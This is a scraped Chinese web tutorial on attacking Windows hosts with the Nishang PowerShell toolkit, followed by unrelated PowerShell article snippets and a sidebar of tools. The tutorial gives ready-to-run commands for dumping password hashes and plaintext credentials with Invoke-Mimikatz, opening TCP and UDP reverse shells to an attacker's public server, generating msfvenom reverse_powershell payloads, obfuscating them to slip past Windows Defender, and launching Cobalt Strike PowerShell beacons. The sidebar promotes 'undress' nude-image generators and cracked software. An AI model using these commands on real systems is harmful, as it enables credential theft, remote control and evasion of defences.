初始PowerShell,首先我们先来了解一下概念:PowerShell可以当做是cmd(bat脚本语言)的升级版,它是Windows平台上的脚本语言。是面向对象,是和 .Net FrameWork 密切相关的。也可以认为是Windows上的bash shell。Windows PowerShell 是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用 .NET Framework的强大功能。它引入了许多非常有用的新概念,从而进一步扩展了您在 Windows 命令提示符和 Windows Host 环境中获得的知识和创建的脚本。代码运行在内存中可以不去接触磁盘 很多安全产品并不能监测到powershell的活动 cmd.exe通常被阻止运行,但是powershell不会。其实我们在渗透测试过程中需要绕过一些防护软件,除了绕过脚本或者其它的工具以外,PoweShell工具其实也是一个不错的选择。比如,我们在目标主机上面用密码抓取神奇mimikatz,这款由法国大牛写的神奇相比大家都经常用,最牛逼指出是可以直接从 lsass.exe 里猎取windows处于active状态账号明文密码。但是如果免杀做的不好的话,也会直接被某免杀全家桶给直接pass。利用Powershell,攻击者可以在无需接触磁盘的情况下执行命令。下面介绍几款比较使用的工具:
Nishang简介
Nishang是基于PowerShell的渗透测试专用工具,它集成了脚本和各种payload,比如抓取密码、端口扫描、提权等。这款工具小白在日常渗透测试中使用次数较多的一款工具。首先我们需要下载这个工具,下载的地址:https://github.com/samratashok/nishang, 下载完毕后我们可以看到以下工具里面都包括一些什么
下面我们通过特定的实验环境来演示一下渗透测试过程中常用的模块,在演示之前需要说明几个在运行powershell工具时遇到的几个比较常见的错误,比如执行脚本的权限问题、导入模块的问题等。
Powershell在首次导入模块的时候是不允许的,因为默认的策略是不允许的,这时候我们需要将执行策略改为允许的,就是所谓的remotesigned。
我们查询一下当前的执行策略是什么,Restricted是不被允许执行任何脚本的,即使你是管理员权限。我们需要修改权限,执行命令:
Set-ExecutionPolicy remotesigned,我们再次查询当前的执行策略的时候就是remotesigned可被允许的,再次导入脚本就会成功,出现的警告提示不用理会。
执行查看导入的模块中的脚本信息:Get-Command -Module nishang
列出本机的信息: Get-Information
现在我们也把执行权限修改了,下面就开始我们演示之旅吧。
密码抓取来一波
当我们拿到一台服务器的时候,我们需要知道目标主机是物理机还是虚机,执行命令:Check-VM
首先说明一下,nishang里面也集成了抓取密码的脚本,先抓取一下hash值:
#Get-PassHashes //简单直接的抓取,并显示在dos界面;
#powershell –exec bypass –Command "& {Import-Module 'C:nishangGatherGet-PassHashes.ps1';Get-PassHashes -PSObjectFormat | Out-File hash.txt}" //获取hash值并保存在自定义的文档中。
既然能抓取hash值,那我们也可以抓取明文密码,我们先看一下抓取密码的脚本,可以看出也是运用了Mimikatz这个工具,只不过是加载了Powershell的脚本里面。
我们可以用以下命令来获取明文密码:
#powershell –exec bypass –Command "& {Import-Module 'C:nishangGatherInvoke-Mimikatz.ps1';Invoke-Mimikatz}" 尝试直接抓取当前系统用户的明文密码。(最常用的命令)
端口反弹搞一波
在渗透测试中我们在做端口转发的时候遇到一系列 的查杀全家桶,nc\lcx\sockes代理等时不时的被杀软截胡。那么这个时候我们可以利用nishang中的端口转发脚本进行。这里除了介绍一下自带的端口转发,还实验一下配合MSF进行端口转发,都需要一台公网服务器。
1、TCP端口转发(反向连接)
公网服务器上面执行监听命令:nc -lvp 5555
目标主机执行端口转发命令: Invoke-PowerShellTcp -Reverse -IPAddress 106.xxx.xxx.115 -Port 5555
这样我们分别在目标主机和公网上面执行命令后,公网服务器就会反弹一个shell,这样我们就可以执行内网服务器的命令。
2、UDP端口转发(反向连接)
公网服务器上面执行监听命令:nc -lup 6666
目标主机执行端口转发命令: Invoke-PowerShellUdp -Reverse -IPAddress 106.xxx.xxx.115 -Port 6666
除了反向连接,也有正向连接,本小白在渗透测试中经常用到反向连接,如果大佬们对正向连接感兴趣的话可以去搞一搞。好了我们现在利用powershell与MSF进行端口转发,首先我们先利用命令查询一下MSF中是否有powershell这个模块:
##msfvenom -l payloads |grep ‘reverse_powershell //查询powershell模块的位置。
我们利用MSF生成一条反弹端口的一条命令:
##msfvenom -p cmd/windows/reverse_powershell lhost=106.xxx.xxx.115 lport=9999 r //生成payload,类型是Powershell,标红的一段是需要在目标主机上面执行的命令。
下一步我们在目标主机上面执行刚才生成的一条powershell命令,在公网服务器监听9999端口。这样我们就可以成功的将目标主机的shell反弹到公网服务器上面。
我们也会这样想我们如何在目标主机上面利用混淆处理绕过Windows Defender,因为我们在生成的普通的有效载荷会被Windows Defender进行查杀的,所以我们需要绕过这个检查的机制。我们就以上面的有效载荷为例子做混淆处理来绕过Windows Defender。有的时候我们将自己生成的普通的有效载荷直接在目标主机上进行运行,可能被Windows Defender直接截胡,做混淆处理的工具当属Daniel Bohannon提供的Invoke-Obfuscation了。该项目的Github页面可以找到。
首先我们先启动一下Invoke-Obfuscation这个工具:
Import-Module ./Invoke-Obfuscation.psd1 //导入Invoke-Obfuscation.psd1;
Invoke-Obfuscation //启动Invoke-Obfuscation工具;
现在我们将刚才生成的端口转发的有效载荷进行做混淆处理,我们首先看一下各种混淆的处理方式的参数:
有效载荷的哪些部分需要进行混淆,我们必须提前规定好,可以通过以下命令完成:
Set scriptblock '有效载荷';
我们选择将整个命令作为字符串进行obfuse(具体选择根据具体的渗透测试环境):
选择1进行ASCII混淆处理,我们输入out 1.ps1进行输出查看,这个命令也相当于将混淆完毕的文件保存在当前目录下,并以1.ps1:
在目标主机上面进行执行此脚本,公网服务器监听9999端口,也可以成功的反弹内网主机的shell:
powershell与cobaltstrike工具擦出不一样的火花
Cobalt Strike 一款以Metasploit为基础的GUI框架式渗透测试工具,集成了端口转发、服务扫描,自动化溢出,多模式端口监听,exe、powershell木马生成等。这个工具也是一款内网渗透的利器,我们这里只是说一下powershell与Cobalt Strike能够碰触怎样的火花?
Cobalt Strike需要分别在客户端和服务器端安装,然后在启动此工具:
首先我们先监听一个端口,主机地址写公网IP地址,然后就会生成一个powershell命令,将此命令在目标主机上面运行,目标主机就会上线,然后我们就可以远程抓取密码、提权、监听等操作:
说实话这是这两个工具我在这里擦出的火花只是一点点,其余的操作还有许多,有兴趣的大佬可以去研究一下,这个工具在内网渗透中运用的比较多。
以上是PowerShell渗透测试利器Nishang怎么用的详细内容。更多信息请关注PHP中文网其他相关文章!

什么是 ISO 文件?ISO 文件是一种包含光盘(例如 DVD 或 CD)的精确副本的文件。这种类型的光盘映像可以安装在您的计算机上,看起来就像您的计算机上连接了一个光驱,光驱中插入了包含数据的 CD 或 DVD。ISO 文件还可用于刻录创建它们的 DVD 或 CD 的新副本,或者只是将大量文件包含在一个易于下载的单个文件中。ISO 文件通常相当大;用完它们后,您很可能会想将它

如何在Windows11上以管理员身份打开PowerShell以提升或管理员级别的权限运行PowerShell允许您运行绕过Windows文件保护的命令,例如用于Windows安装文件的命令。您可以通过直接打开PowerShell或打开新的Windows终端应用程序来运行PowerShell,该应用程序默认使用PowerShell运行命令。在Windows11上以管理员身份打开PowerShell:打开开始菜单并输入powershell或terminal。从右侧的

许多用户报告了WindowsPowerShell停止工作或根本无法打开的问题。看到PowerShell已停止工作消息的最常见原因之一是您的计算机上存在隐藏病毒。这反过来会减慢您的系统速度,并且系统上的其他进程将停止运行。该错误消息未提供有关此问题原因的任何信息,因此难以解决。如果您对PowerShell无法在您的PC上运行或打开问题感到恼火,那么本文适合您。在本文中,我们讨论了一些可用于修复此错误的解决方案。修复1–禁用和重新启用WindowsPowerShell1.使用Ctr

初始PowerShell,首先我们先来了解一下概念:PowerShell可以当做是cmd(bat脚本语言)的升级版,它是Windows平台上的脚本语言。是面向对象,是和.NetFrameWork密切相关的。也可以认为是Windows上的bashshell。WindowsPowerShell是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用.NETFramework的强大功能。它引入了许多非常有用的新概念,从而进一步扩展了您在Windows命令提示符和WindowsHost环境中获得

您在运行脚本时是否看到此错误消息“Add-AppxPackage:部署失败,HRESULT:0x80073D02,无法安装该包,因为它修改的资源当前正在使用中。PowerShell中出现错误0x80073D02…”?如错误消息所述,当用户在前一个进程运行时尝试重新注册一个或所有WindowsShellExperienceHost应用程序时,确实会发生这种情况。我们已经获得了一些简单的解决方案来快速解决这个问题。修复1–终止体验主机进程您必须在执行powershell命令之前结束

点击进入:ChatGPT工具插件导航大全Git是最流行的版本控制系统之一,它允许您跟踪对文件所做的所有更改,以便在需要时可以轻松恢复到早期版本。Git允许您同时拥有本地存储库和远程存储库,鼓励其他人协作并将所有这些更改集中到一个源。在Windows11上安装Git的先决条件在我们开始之前,有一些在Windows上安装Git的先决条件。他们来了:您的Windows帐户的管理员权限访问命令行工具(例如CMD或PowerShell)Git的用户名和密码(可选)你最喜欢的文本编辑器WSL上的Ubuntu

如何使用PowerShell在Windows11上启用或禁用管理员帐户在Windows11上启用管理员帐户的最快方法之一是使用PowerShell。您还可以使用较新的Windows终端,或者,如果您愿意,也可以使用较旧的命令提示符(cmd)工具。您需要确保从已经具有管理员权限的用户帐户运行这些命令。如果您使用的是标准用户帐户,则需要切换到另一个用户帐户才能运行此工具。要在Windows11上使用PowerShell启用管理员帐户:通过单击开始按钮或按Windows键打开

区别:1、运行Cmd时,只需占用不到1M的内存;而用PowerShell时,需要占用大约20M的内存。2、Cmd不支持语法高亮,PowerShell支持。3、用Cmd运行一些较为复杂、较为耗时的命令时,随意拖动命令行窗口时,窗口中的内容依然能够保持原样;但PowerShell不行。4、Cmd只能不能使用.net库中的命令,也不能使用Linux命令;而PowerShell可以。


热AI工具

Undresser.AI Undress
人工智能驱动的应用程序,用于创建逼真的裸体照片

AI Clothes Remover
用于从照片中去除衣服的在线人工智能工具。

Undress AI Tool
免费脱衣服图片

Clothoff.io
AI脱衣机

AI Hentai Generator
免费生成ai无尽的。

热门文章

热工具

Dreamweaver CS6
视觉化网页开发工具

SecLists
SecLists是最终安全测试人员的伙伴。它是一个包含各种类型列表的集合,这些列表在安全评估过程中经常使用,都在一个地方。SecLists通过方便地提供安全测试人员可能需要的所有列表,帮助提高安全测试的效率和生产力。列表类型包括用户名、密码、URL、模糊测试有效载荷、敏感数据模式、Web shell等等。测试人员只需将此存储库拉到新的测试机上,他就可以访问到所需的每种类型的列表。

安全考试浏览器
Safe Exam Browser是一个安全的浏览器环境,用于安全地进行在线考试。该软件将任何计算机变成一个安全的工作站。它控制对任何实用工具的访问,并防止学生使用未经授权的资源。

EditPlus 中文破解版
体积小,语法高亮,不支持代码提示功能

mPDF
mPDF是一个PHP库,可以从UTF-8编码的HTML生成PDF文件。原作者Ian Back编写mPDF以从他的网站上“即时”输出PDF文件,并处理不同的语言。与原始脚本如HTML2FPDF相比,它的速度较慢,并且在使用Unicode字体时生成的文件较大,但支持CSS样式等,并进行了大量增强。支持几乎所有语言,包括RTL(阿拉伯语和希伯来语)和CJK(中日韩)。支持嵌套的块级元素(如P、DIV),